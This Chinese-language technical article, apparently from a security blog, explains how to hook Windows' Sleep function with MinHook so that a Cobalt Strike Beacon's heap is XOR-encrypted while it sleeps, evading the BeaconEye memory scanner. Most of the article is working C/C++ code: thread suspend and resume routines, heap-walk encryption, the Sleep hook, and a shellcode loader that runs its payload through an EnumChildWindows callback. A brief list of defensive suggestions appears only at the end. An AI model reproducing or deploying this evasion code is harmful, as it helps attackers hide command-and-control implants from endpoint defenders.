挂钩Sleep函数绕过BeaocnEye
字数 793 2025-08-18 11:36:48
挂钩Sleep函数绕过BeaconEye检测技术详解
1. 技术原理概述
该技术通过挂钩Windows系统的Sleep函数,在Cobalt Strike的睡眠期间对堆栈进行加密,从而避免杀毒软件扫描到内存中的恶意载荷。核心思想是利用杀毒软件不会持续扫描内存的特性,在Beacon睡眠时加密内存,唤醒时解密,以此规避检测。
2. 技术实现关键步骤
2.1 线程控制机制
挂起线程
void PendingThread(DWORD processid, DWORD Id) {
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (h != INVALID_HANDLE_VALUE) {
THREADENTRY32 th;
th.dwSize = sizeof(th);
if (Thread32First(h, &th)) {
do {
if (th.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(th.th32OwnerProcessID)) {
if (th.th32ThreadID != Id && th.th32OwnerProcessID == processid) {
HANDLE thread = OpenThread(THREAD_ALL_ACCESS, FALSE, th.th32ThreadID);
if (thread != NULL) {
SuspendThread(thread);
CloseHandle(thread);
}
}
}
th.dwSize = sizeof(th);
} while (Thread32Next(h, &th));
}
CloseHandle(h);
}
}
恢复线程
void RestoreThreads(DWORD processid, DWORD Id) {
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (h != INVALID_HANDLE_VALUE) {
THREADENTRY32 th;
th.dwSize = sizeof(th);
if (Thread32First(h, &th)) {
do {
if (th.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(th.th32OwnerProcessID)) {
if (th.th32ThreadID != Id && th.th32OwnerProcessID == processid) {
HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, th.th32ThreadID);
if (thread != NULL) {
ResumeThread(thread);
CloseHandle(thread);
}
}
}
th.dwSize = sizeof(th);
} while (Thread32Next(h, &th));
}
CloseHandle(h);
}
}
2.2 堆栈加密技术
堆遍历与加密
PROCESS_HEAP_ENTRY entry;
const char key[] = "DWADWADWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASADSADSADSADAS";
size_t keySize = sizeof(key);
void Stackencryption() {
SecureZeroMemory(&entry, sizeof(entry));
while (HeapWalk(GetProcessHeap(), &entry)) {
if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
xor_bidirectional_encode((PBYTE)(entry.lpData), entry.cbData, (PBYTE)key, keySize);
}
}
}
异或加密算法
void xor_bidirectional_encode(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN PBYTE bKey, IN SIZE_T sKeySize) {
for (size_t i = 0, j = 0; i < sShellcodeSize; i++, j++) {
if (j > sKeySize) {
j = 0;
}
pShellcode[i] = pShellcode[i] ^ bKey[j % 8] + 1;
}
}
2.3 Sleep函数挂钩实现
MinHook初始化
#include "MinHook.h"
#pragma comment(lib,"C:\\Users\\Admin\\Desktop\\bin\\libMinHook.x86.lib");
挂钩实现
void(WINAPI* SleepTest)(DWORD dwMiliseconds);
void WINAPI HookedSleep(DWORD dwMiliseconds) {
DWORD time = dwMiliseconds;
if (time > 3000) {
// 挂起线程
PendingThread(GetCurrentProcessId(), GetCurrentThreadId());
// 加密
Stackencryption();
SleepTest(dwMiliseconds);
// 解密
Stackencryption();
// 恢复线程
RestoreThreads(GetCurrentProcessId(), GetCurrentThreadId());
}
else {
SleepTest(time);
}
}
template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID pTarget, LPVOID pDetour, T** ppOriginal) {
return MH_CreateHook(pTarget, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
template <typename T>
inline MH_STATUS MH_CreateHookApiEx(LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal) {
return MH_CreateHookApi(pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
BOOL HookTest() {
if (MH_Initialize() != MH_OK) {
return 1;
}
if (MH_CreateHookApiEx(L"kernel32.dll", "Sleep", &HookedSleep, &SleepTest) != MH_OK) {
return 1;
}
if (MH_EnableHook(MH_ALL_HOOKS) != MH_OK) {
return 1;
}
}
3. 完整实现流程
- 初始化Hook:调用
HookTest()函数初始化MinHook并挂钩Sleep函数 - Shellcode加载:
unsigned char dll[263168] = { shellcode }; SIZE_T size = sizeof(dll); SIZE_T bytesWritten = 0; DWORD oldProtect = 0; void* sh = VirtualAllocEx(GetCurrentProcess(), 0, (SIZE_T)size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); WriteProcessMemory(GetCurrentProcess(), sh, dll, size, &bytesWritten); VirtualProtectEx(GetCurrentProcess(), sh, size, PAGE_EXECUTE_READ, &oldProtect); EnumChildWindows(NULL, (WNDENUMPROC)sh, NULL); - Sleep触发加密:当Beacon调用Sleep函数时:
- 挂起所有非当前线程
- 加密堆栈内存
- 执行原始Sleep函数
- 解密堆栈内存
- 恢复挂起的线程
4. 技术要点总结
- 线程控制:通过
CreateToolhelp32Snapshot获取线程快照,使用SuspendThread和ResumeThread控制线程状态 - 堆遍历:使用
HeapWalk函数遍历进程堆内存 - 内存加密:采用简单的异或加密算法,可替换为更复杂的加密方式如RC4
- 函数挂钩:使用MinHook库挂钩Sleep函数,实现加密/解密逻辑注入
- 条件触发:仅在Sleep时间超过3000ms时执行加密操作,避免频繁加解密影响性能
5. 防御建议
- 监控关键API挂钩行为,特别是Sleep等常用函数
- 实现内存扫描机制,检测异常的内存加密行为
- 加强对堆遍历和线程控制API的监控
- 结合行为分析检测异常的线程挂起/恢复模式
该技术通过巧妙地利用杀毒软件扫描的时间差和内存加密技术,有效规避了BeaconEye等内存扫描工具的检测,展示了高级内存规避技术的实现原理。